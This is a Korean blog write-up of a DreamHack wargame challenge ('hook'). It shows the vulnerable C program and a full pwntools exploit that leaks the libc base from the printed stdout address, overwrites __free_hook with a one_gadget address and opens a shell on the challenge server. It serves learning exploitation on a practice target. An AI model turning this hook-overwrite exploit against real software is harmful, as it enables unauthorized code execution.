Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage8_문제풀이(hook) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage8_문제풀이(hook)

CIDY 2022. 7. 3. 02:43
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);
   
    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

 

hook overwrite를 하라는건데...마지막에 system("/bin/sh")는 왜 준 거지🤔

 

일단 stdout출력받아서 립시 베이스 구하고 -> __free_hook을 원가젯으로 덮어버리면 될 것 같다. 원가젯 안 쓰는 생각을 해 봤는데 그럼 인자 세팅까지 해줘야해서 뭐가 복잡해진다.

 

from pwn import *

p = remote("host3.dreamhack.games", 18364)
#p = process("./hook")
libc = ELF("./libc.so.6")

p.recvuntil(b"stdout: ")

stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']

one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
oneshot = libc_base + one_gadget[1]

pay = p64(free_hook)
pay += p64(oneshot)

p.sendline(str(len(pay) + 1))

p.send(pay)

p.interactive()

 

페이로드는 간단... +1은 혹시몰라서 했다.